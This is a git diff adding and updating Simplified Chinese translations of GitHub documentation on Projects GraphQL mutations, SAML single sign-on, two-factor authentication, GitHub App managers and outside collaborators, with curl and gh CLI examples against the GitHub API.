`PROJECT_ID` 替换为项目的节点 ID。 将 `ITEM_ID` 替换为你想要更新的项的节点 ID。 将 `FIELD_ID` 替换为你想要更新的字段的 ID。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: "PROJECT_ID" itemId: "ITEM_ID" fieldId: "FIELD_ID" value: { text: "Updated text" }}) { projectV2Item { id }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2ItemFieldValue( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + fieldId: "FIELD_ID" + value: { + text: "Updated text" + } + } + ) { + projectV2Item { + id + } + } + }' +``` +{% endcli %} + +{% note %} + +注意:你不能使用 `updateProjectV2ItemFieldValue` 更改 `Assignees`、`Labels`、`Milestone` 或 `Repository`,因为这些字段是拉取请求和议题,而不是项目项的属性。 相反,可以使用以下突变: + +- [addAssigneesToAssignable](/graphql/reference/mutations#addassigneestoassignable) +- [removeAssigneesFromAssignable](/graphql/reference/mutations#removeassigneesfromassignable) +- [addLabelsToLabelable](/graphql/reference/mutations#addlabelstolabelable) +- [removeLabelsFromLabelable](/graphql/reference/mutations#removelabelsfromlabelable) +- [updateIssue](/graphql/reference/mutations#updateissue) +- [updatePullRequest](/graphql/reference/mutations#updatepullrequest) +- [transferIssue](/graphql/reference/mutations#transferissue) + +{% endnote %} + +### 更新单选字段 + +下面的示例将更新项的单选字段值。 + +- `PROJECT_ID` - 将此值替换为项目的节点 ID。 +- `ITEM_ID` - 将此值替换为你想要更新的项的节点 ID。 +- `FIELD_ID` - 将此值替换为你想要更新的单选字段的 ID。 +- `OPTION_ID` - 将此值替换为所需单选选项的 ID。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: "PROJECT_ID" itemId: "ITEM_ID" fieldId: "FIELD_ID" value: { singleSelectOptionId: "OPTION_ID" }}) { projectV2Item { id }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2ItemFieldValue( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + fieldId: "FIELD_ID" + value: { + singleSelectOptionId: "OPTION_ID" + } + } + ) { + projectV2Item { + id + } + } + }' +``` +{% endcli %} + +### 更新迭代字段 + +下面的示例将更新项的迭代字段值。 + +- `PROJECT_ID` - 将此值替换为项目的节点 ID。 +- `ITEM_ID` - 将此值替换为你想要更新的项的节点 ID。 +- `FIELD_ID` - 将此值替换为你想要更新的迭代字段的 ID。 +- `ITERATION_ID` - 将此值替换为所需迭代的 ID。 这可以是活动的或已完成的迭代。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"mutation {updateProjectV2ItemFieldValue( input: { projectId: "PROJECT_ID" itemId: "ITEM_ID" fieldId: "FIELD_ID" value: { singleSelectOptionId: "OPTION_ID" }}) { projectV2Item { id }}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + updateProjectV2ItemFieldValue( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + fieldId: "FIELD_ID" + value: { + iterationId: "ITERATION_ID" + } + } + ) { + projectV2Item { + id + } + } + }' +``` +{% endcli %} + +### 从项目中删除项 + +下面的示例将从项目中删除一个项。 将 `PROJECT_ID` 替换为项目的节点 ID。 将 `ITEM_ID` 替换为你想要删除的项的节点 ID。 + +{% curl %} +```shell +curl --request POST \ + --url https://api.github.com/graphql \ + --header 'Authorization: token TOKEN' \ + --data '{"query":"mutation {deleteProjectV2Item(input: {projectId: \"PROJECT_ID\" itemId: \"ITEM_ID\"}) {deletedItemId}}"}' +``` +{% endcurl %} + +{% cli %} +```shell +gh api graphql -f query=' + mutation { + deleteProjectV2Item( + input: { + projectId: "PROJECT_ID" + itemId: "ITEM_ID" + } + ) { + deletedItemId + } + }' +``` +{% endcli %} diff --git a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md index 02f702fa56..ed054d2081 100644 --- a/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md +++ b/translations/zh-CN/content/organizations/collaborating-with-groups-in-organizations/about-your-organizations-news-feed.md @@ -1,6 +1,6 @@ --- -title: About your organization’s news feed -intro: You can use your organization's news feed to keep up with recent activity on repositories owned by that organization. +title: 关于组织的消息馈送 +intro: 您可以使用组织的消息馈送跟进该组织拥有的仓库上的近期活动。 redirect_from: - /articles/news-feed - /articles/about-your-organization-s-news-feed @@ -15,16 +15,19 @@ topics: - Organizations - Teams shortTitle: Organization news feed +ms.openlocfilehash: 2ef8e11cd2ede1fedd284aed3d554bcd658d413e +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145128604' --- +组织的消息馈送显示其他人在该组织拥有的仓库上的活动。 您可以使用组织的消息馈送来查看何时有人打开、关闭或合并议题或拉取请求,创建或删除分支,创建标记或发行版,评论议题,拉取请求,或者提交或推送提交到 {% data variables.product.product_name %}。 -An organization's news feed shows other people's activity on repositories owned by that organization. You can use your organization's news feed to see when someone opens, closes, or merges an issue or pull request, creates or deletes a branch, creates a tag or release, comments on an issue, pull request, or commit, or pushes new commits to {% data variables.product.product_name %}. +## 访问组织的消息馈送 -## Accessing your organization's news feed - -1. {% data variables.product.signin_link %} to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}. -2. Open your {% data reusables.user-settings.personal_dashboard %}. -3. Click the account context switcher in the upper-left corner of the page. - ![Context switcher button in Enterprise](/assets/images/help/organizations/account_context_switcher.png) -4. Select an organization from the drop-down menu.{% ifversion fpt or ghec %} - ![Context switcher menu in dotcom](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %} - ![Context switcher menu in Enterprise](/assets/images/help/organizations/account_context_switcher.png){% endif %} +1. {% data variables.product.signin_link %} 到 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户。 +2. 打开 {% data reusables.user-settings.personal_dashboard %}。 +3. 单击页面左上角的帐户上下文切换器。 + ![Enterprise 中的上下文切换器按钮](/assets/images/help/organizations/account_context_switcher.png) +4. 从下拉菜单中选择组织。{% ifversion fpt or ghec %} ![dotcom 中的上下文切换器菜单](/assets/images/help/organizations/account-context-switcher-selected-dotcom.png){% else %} ![Enterprise 中的上下文切换器菜单](/assets/images/help/organizations/account_context_switcher.png){% endif %} diff --git a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md index adb9d914e2..7d2a18d519 100644 --- a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md +++ b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/about-two-factor-authentication-and-saml-single-sign-on.md @@ -1,6 +1,6 @@ --- -title: About two-factor authentication and SAML single sign-on -intro: Organizations administrators can enable both SAML single sign-on and two-factor authentication to add additional authentication measures for their organization members. +title: 关于双重身份验证和 SAML 单点登录 +intro: 组织管理员可启用 SAML 单点登录及双重身份验证,为其组织成员增加额外的身份验证措施。 redirect_from: - /articles/about-two-factor-authentication-and-saml-single-sign-on - /github/setting-up-and-managing-organizations-and-teams/about-two-factor-authentication-and-saml-single-sign-on @@ -10,17 +10,22 @@ topics: - Organizations - Teams shortTitle: 2FA & SAML single sign-on +ms.openlocfilehash: 1dc8eff35906a5f2c59f097d3bf53482547bd1f5 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145127540' --- +双重身份验证 (2FA) 为组织成员提供基本验证。 通过启用 2FA,组织管理员可降低 {% data variables.product.product_location %} 上成员的帐户被盗的可能性。 有关 2FA 的详细信息,请参阅“[关于双重身份验证](/articles/about-two-factor-authentication)”。 -Two-factor authentication (2FA) provides basic authentication for organization members. By enabling 2FA, organization administrators limit the likelihood that a member's account on {% data variables.location.product_location %} could be compromised. For more information on 2FA, see "[About two-factor authentication](/articles/about-two-factor-authentication)." +若要添加其他身份验证措施,组织管理员也可以[启用 SAML 单一登录 (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization),组织成员必须使用单一登录才能访问组织。 有关 SAML SSO 的详细信息,请参阅“[关于使用 SAML 单一登录进行标识和访问管理](/articles/about-identity-and-access-management-with-saml-single-sign-on)”。 -To add additional authentication measures, organization administrators can also [enable SAML single sign-on (SSO)](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) so that organization members must use single sign-on to access an organization. For more information on SAML SSO, see "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)." +如果同时启用了 2FA 和 SAML SSO,组织成员必须执行以下操作: +- 使用 2FA 登录其在 {% data variables.product.product_location %} 上的帐户 +- 使用单点登录访问组织 +- 使用授权用于 API 或 Git 访问的令牌,并使用单点登录授权令牌 -If both 2FA and SAML SSO are enabled, organization members must do the following: -- Use 2FA to log in to their account on {% data variables.location.product_location %} -- Use single sign-on to access the organization -- Use an authorized token for API or Git access and use single sign-on to authorize the token +## 延伸阅读 -## Further reading - -- "[Enforcing SAML single sign-on for your organization](/articles/enforcing-saml-single-sign-on-for-your-organization)" +- [为组织强制执行 SAML 单一登录](/articles/enforcing-saml-single-sign-on-for-your-organization) diff --git a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md index 979337cd31..6e7ffd78b2 100644 --- a/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md +++ b/translations/zh-CN/content/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization.md @@ -1,6 +1,6 @@ --- -title: Viewing and managing a member's SAML access to your organization -intro: 'You can view and revoke an organization member''s linked identity, active sessions, and authorized credentials.' +title: 查看和管理成员 SAML 对组织的访问权限 +intro: 您可以查看和撤销组织成员的链接身份、活动会话和授权凭据。 permissions: Organization owners can view and manage a member's SAML access to an organization. redirect_from: - /articles/viewing-and-revoking-organization-members-authorized-access-tokens @@ -12,65 +12,50 @@ topics: - Organizations - Teams shortTitle: Manage SAML access +ms.openlocfilehash: 5b8dbe15037eabe416a6b0c63df7f893db8445bb +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145127536' --- +## 关于对组织的 SAML 访问 -## About SAML access to your organization +对组织启用 SAML 单点登录时,每个组织成员都可以将其在身份提供程序 (IdP) 上的外部身份链接到其在 {% data variables.product.product_location %} 上的现有帐户。 要在 {% data variables.product.product_name %} 上访问组织的资源,成员必须在其浏览器中启动 SAML 会话。 要使用 API 或 Git 访问组织的资源,成员必须使用被授权用于组织的个人访问令牌或 SSH 密钥。 -When you enable SAML single sign-on for your organization, each organization member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.location.product_location %}. To access your organization's resources on {% data variables.product.product_name %}, the member must have an active SAML session in their browser. To access your organization's resources using the API or Git, the member must use a {% data variables.product.pat_generic %} or SSH key that the member has authorized for use with your organization. +您可以在同一页面上查看和撤销每个成员的链接身份、活动会话和授权凭据。 -You can view and revoke each member's linked identity, active sessions, and authorized credentials on the same page. - -## Viewing and revoking a linked identity +## 查看和撤销链接的身份 {% data reusables.saml.about-linked-identities %} -When available, the entry will include SCIM data. For more information, see "[About SCIM for organizations](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)." +如果可用,该条目将包含 SCIM 数据。 有关详细信息,请参阅“[关于组织的 SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim-for-organizations)”。 {% warning %} -**Warning:** For organizations using SCIM: -- Revoking a linked user identity on {% data variables.product.product_name %} will also remove the SAML and SCIM metadata. As a result, the identity provider will not be able to synchronize or deprovision the linked user identity. -- An admin must revoke a linked identity through the identity provider. -- To revoke a linked identity and link a different account through the identity provider, an admin can remove and re-assign the user to the {% data variables.product.product_name %} application. For more information, see your identity provider's documentation. +警告:对于使用 SCIM 的组织: +- 撤销 {% data variables.product.product_name %} 上链接的用户身份也会删除 SAML 和 SCIM 元数据。 因此,身份提供商无法同步或解除预配已链接的用户身份。 +- 管理员必须通过身份提供商撤销链接的身份。 +- 要撤销链接的身份并通过身份提供商链接其他帐户,管理员可以删除用户并重新分配给 {% data variables.product.product_name %} 应用程序。 更多信息请参阅身份提供商的文档。 {% endwarning %} {% data reusables.identity-and-permissions.revoking-identity-team-sync %} -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.saml.click-person-revoke-identity %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-sso-identity %} -{% data reusables.saml.revoke-sso-identity %} -{% data reusables.saml.confirm-revoke-identity %} +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.saml.click-person-revoke-identity %} {% data reusables.saml.saml-identity-linked %} {% data reusables.saml.view-sso-identity %} {% data reusables.saml.revoke-sso-identity %} {% data reusables.saml.confirm-revoke-identity %} -## Viewing and revoking an active SAML session +## 查看和撤销活动的 SAML 会话 -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.saml.click-person-revoke-session %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-saml-sessions %} -{% data reusables.saml.revoke-saml-session %} +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.saml.click-person-revoke-session %} {% data reusables.saml.saml-identity-linked %} {% data reusables.saml.view-saml-sessions %} {% data reusables.saml.revoke-saml-session %} -## Viewing and revoking authorized credentials +## 查看和撤销授权的凭据 {% data reusables.saml.about-authorized-credentials %} -{% data reusables.profile.access_org %} -{% data reusables.user-settings.access_org %} -{% data reusables.organizations.people %} -{% data reusables.saml.click-person-revoke-credentials %} -{% data reusables.saml.saml-identity-linked %} -{% data reusables.saml.view-authorized-credentials %} -{% data reusables.saml.revoke-authorized-credentials %} -{% data reusables.saml.confirm-revoke-credentials %} +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %} {% data reusables.saml.click-person-revoke-credentials %} {% data reusables.saml.saml-identity-linked %} {% data reusables.saml.view-authorized-credentials %} {% data reusables.saml.revoke-authorized-credentials %} {% data reusables.saml.confirm-revoke-credentials %} -## Further reading +## 延伸阅读 -- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"{% ifversion ghec %} -- "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)"{% endif %} +- [关于使用 SAML 单一登录进行的标识和访问管理](/articles/about-identity-and-access-management-with-saml-single-sign-on){% ifversion ghec %} +- [查看和管理用户对企业帐户的 SAML 访问](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise){% endif %} diff --git a/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations.md b/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations.md new file mode 100644 index 0000000000..22831e5219 --- /dev/null +++ b/translations/zh-CN/content/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-your-organizations-installed-integrations.md @@ -0,0 +1,36 @@ +--- +title: 审查组织安装的集成 +intro: 您可以审查组织安装的集成的权限级别,并配置每个集成对组织仓库的访问权限。 +redirect_from: +- /articles/reviewing-your-organization-s-installed-integrations +- /articles/reviewing-your-organizations-installed-integrations +- /github/setting-up-and-managing-organizations-and-teams/reviewing-your-organizations-installed-integrations +- /organizations/keeping-your-organization-secure/reviewing-your-organizations-installed-integrations +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Review installed integrations +ms.openlocfilehash: 66645e6ebb4305a34cd7735269d77881ea2ed5ee +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145127517" +--- +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% ifversion fpt or ghec or ghes > 3.4 or ghae-issue-5658 %} +1. 在边栏的“集成”部分,单击“{% octicon "apps" aria-label="The apps icon" %} {% data variables.product.prodname_github_apps %}”。 +{% else %} +1. 在左侧边栏中,单击“已安装的 {% data variables.product.prodname_github_apps %}”。 + ![组织设置边栏中的“已安装的 {% data variables.product.prodname_github_apps %}”选项卡](/assets/images/help/organizations/org-settings-installed-github-apps.png) {% endif %} +2. 在要审阅的 {% data variables.product.prodname_github_app %} 旁边,单击“配置”。 + ![“配置”按钮](/assets/images/help/organizations/configure-installed-integration-button.png) +6. 审查 {% data variables.product.prodname_github_app %}的权限和仓库访问权限。 + ![授予 {% data variables.product.prodname_github_app %} 对所有存储库或特定存储库的访问权限的选项](/assets/images/help/organizations/toggle-integration-repo-access.png) + - 若要授予 {% data variables.product.prodname_github_app %} 对所有组织存储库的访问权限,请选择“所有存储库”。 + - 若要选择特定存储库以授予应用程序访问权限,请选择“仅选择存储库”,然后键入存储库名。 +7. 单击“保存” 。 diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md new file mode 100644 index 0000000000..3d03b40f7e --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/adding-github-app-managers-in-your-organization.md @@ -0,0 +1,42 @@ +--- +title: 为组织添加 GitHub 应用程序管理员 +intro: 组织所有者可授权用户管理组织拥有的某些或所有 {% data variables.product.prodname_github_apps %}。 +redirect_from: +- /articles/adding-github-app-managers-in-your-organization +- /github/setting-up-and-managing-organizations-and-teams/adding-github-app-managers-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Add GitHub App managers +ms.openlocfilehash: d8389c85c847b750bdb83eb8b922ad16bfa33bf3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145127503" +--- +有关 {% data variables.product.prodname_github_app %} 管理员权限的详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)”。 + +## 授权某人管理组织拥有的所有 {% data variables.product.prodname_github_apps %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} +1. 在“管理”下,键入要指定为组织中 {% data variables.product.prodname_github_app %} 管理员的人员,然后单击“授权”。 +![添加 {% data variables.product.prodname_github_app %} 管理员](/assets/images/help/organizations/add-github-app-manager.png) + +## 授权某人管理个别 {% data variables.product.prodname_github_app %} + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} +1. 在 "{% data variables.product.prodname_github_apps %}" 下,单击要为其添加 {% data variables.product.prodname_github_app %} 管理员的应用程序的头像。 +![选择 {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) {% data reusables.organizations.app-managers-settings-sidebar %} +1. 在“应用管理员”下,键入要指定为应用的 GitHub 应用管理员的人员,然后单击“授权”。 +![添加特定应用的 {% data variables.product.prodname_github_app %} 管理员](/assets/images/help/organizations/add-github-app-manager-for-app.png) + +{% ifversion fpt or ghec %} +## 延伸阅读 + +- [关于 {% data variables.product.prodname_dotcom %} 市场](/articles/about-github-marketplace/) {% endif %} diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/index.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/index.md new file mode 100644 index 0000000000..eb0ea75b53 --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/index.md @@ -0,0 +1,26 @@ +--- +title: 管理对组织应用程序的访问 +intro: 作为组织所有者,您可以允许个别组织成员管理组织中的 {% data variables.product.prodname_github_apps %}。 +redirect_from: +- /articles/managing-access-to-your-organization-s-apps +- /articles/managing-access-to-your-organizations-apps +- /github/setting-up-and-managing-organizations-and-teams/managing-access-to-your-organizations-apps +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +children: +- /adding-github-app-managers-in-your-organization +- /removing-github-app-managers-from-your-organization +shortTitle: Manage access to apps +ms.openlocfilehash: d40873a01f9027b517868c7dfa43df7ead3c33f9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145127502" +--- diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md new file mode 100644 index 0000000000..f4510de3ff --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-apps/removing-github-app-managers-from-your-organization.md @@ -0,0 +1,42 @@ +--- +title: 从组织中删除 GitHub 应用程序管理员 +intro: 组织所有者可以撤销授予组织成员的 {% data variables.product.prodname_github_app %}管理员权限。 +redirect_from: +- /articles/removing-github-app-managers-from-your-organization +- /github/setting-up-and-managing-organizations-and-teams/removing-github-app-managers-from-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Remove GitHub App managers +ms.openlocfilehash: c7dc813294a1fdd7e928a4212af30efa1182fd3d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145127501" +--- +有关 {% data variables.product.prodname_github_app %} 管理员权限的详细信息,请参阅“[组织中的角色](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#github-app-managers)”。 + +## 删除整个组织的 {% data variables.product.prodname_github_app %}管理员权限 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} +1. 在“管理”下,找到要删除其 {% data variables.product.prodname_github_app %} 管理员权限的人员的用户名,然后单击“撤销”。 +![撤销 {% data variables.product.prodname_github_app %} 管理员权限](/assets/images/help/organizations/github-app-manager-revoke-permissions.png) + +## 删除单个 {% data variables.product.prodname_github_app %}的 {% data variables.product.prodname_github_app %}管理员权限 + +{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.github-apps-settings-sidebar %} +1. 在 "{% data variables.product.prodname_github_apps %}" 下,单击要从其删除 {% data variables.product.prodname_github_app %}管理员的应用程序的头像。 +![选择 {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png) {% data reusables.organizations.app-managers-settings-sidebar %} +1. 在“应用管理员”下,找到要删除其 {% data variables.product.prodname_github_app %} 管理员权限的人员的用户名,然后单击“撤销”。 +![撤销 {% data variables.product.prodname_github_app %} 管理员权限](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png) + +{% ifversion fpt or ghec %} +## 延伸阅读 + +- [关于 {% data variables.product.prodname_dotcom %} 市场](/articles/about-github-marketplace/) {% endif %} diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md new file mode 100644 index 0000000000..89d56b9ad7 --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md @@ -0,0 +1,48 @@ +--- +title: 添加外部协作者到组织的仓库 +intro: 您可以允许不属于您组织成员的人员访问您的组织拥有的仓库。 +redirect_from: +- /articles/adding-outside-collaborators-to-repositories-in-your-organization +- /github/setting-up-and-managing-organizations-and-teams/adding-outside-collaborators-to-repositories-in-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Add outside collaborator +permissions: People with admin access to a repository can add an outside collaborator to the repository. +ms.openlocfilehash: caac79aba845f433effd3a3461e739d07cee135b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145127483" +--- +## 关于外部协作者 + +外部协作者是指不是您组织的成员,但有权访问您组织的一个或多个仓库的人员。 您可以选择要为每个外部协作者授予的访问权限级别。 {% data reusables.organizations.outside_collaborator_forks %} + +{% data reusables.organizations.outside-collaborators-use-seats %} + +{% ifversion fpt %} 使用 {% data variables.product.prodname_ghe_cloud %} 的组织可以限制邀请协作者的能力。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[设置添加外部协作者的权限](/enterprise-cloud@latest/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)”。 +{% else %} 组织所有者可以限制邀请协作者的能力。 有关详细信息,请参阅“[设置添加外部协作者的权限](/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators)”。 +{% endif %} + +{% ifversion ghes %} 要将某人添加为存储库的外部协作者,此人必须在 {% data variables.product.product_location %} 上拥有个人帐户。 如果您的企业使用外部身份验证系统(如 SAML 或 LDAP),则要添加的人员必须通过该系统登录才能创建帐户。 如果此人无权访问身份验证系统,并且为你的企业启用了内置身份验证,则网站管理员可以为该人员创建个人帐户。 有关详细信息,请参阅“[配置内置身份验证](/admin/identity-and-access-management/using-built-in-authentication/configuring-built-in-authentication)”。 +{% endif %} + +{% ifversion not ghae %} 如果你的组织需要双因素身份验证,则在接受你的邀请以在存储库上进行协作之前,所有外部协作者都必须启用双因素身份验证。 有关详细信息,请参阅“[要求在组织中进行双因素身份验证](/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)”。 +{% endif %} + +## 添加外部协作者到仓库 + +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5974 %} 你可以在存储库设置中授予外部协作者对存储库的访问权限。 有关详细信息,请参阅“[管理有权访问存储库的团队和人员](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository#inviting-a-team-or-person)”。 {% else %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +5. 在左侧边栏中,单击“协作者和团队”。 + ![突出显示协作者和团队的“存储库设置”侧边栏](/assets/images/help/repository/org-repo-settings-collaborators-and-teams.png) +6. 在“协作者”下,键入要授权其访问存储库的人员的名称,然后单击“添加协作者”。 +![在搜索字段中输入了 Octocat 用户名的“协作者”部分](/assets/images/help/repository/org-repo-collaborators-find-name.png) +7. 在新协作者的姓名旁边,使用下拉菜单并选择适当的访问权限级别。 +![存储库权限选择器](/assets/images/help/repository/org-repo-collaborators-choose-permissions.png) {% endif %} diff --git a/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md new file mode 100644 index 0000000000..b8128f8042 --- /dev/null +++ b/translations/zh-CN/content/organizations/managing-access-to-your-organizations-repositories/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization.md @@ -0,0 +1,31 @@ +--- +title: 取消成为组织外部协作者的邀请 +intro: 您可以取消让某人成为组织拥有仓库的外部协作者的所有邀请。 +permissions: Organization owners can cancel an invitation to become an outside collaborator in the organization. +redirect_from: +- /github/setting-up-and-managing-organizations-and-teams/canceling-an-invitation-to-become-an-outside-collaborator-in-your-organization +versions: + fpt: '*' + ghec: '*' +topics: +- Organizations +- Teams +shortTitle: Cancel collaborator invitation +ms.openlocfilehash: 4511f6ffd7a22884a390e073826f7ff198adb7f2 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145127482" +--- +您可以查看所有待定邀请(邀请成为组织拥有的任何仓库上的外部协作者)人员列表。 + +对于每个待定协作者,您可以同时取消加入组织仓库的所有邀请。 + +{% data 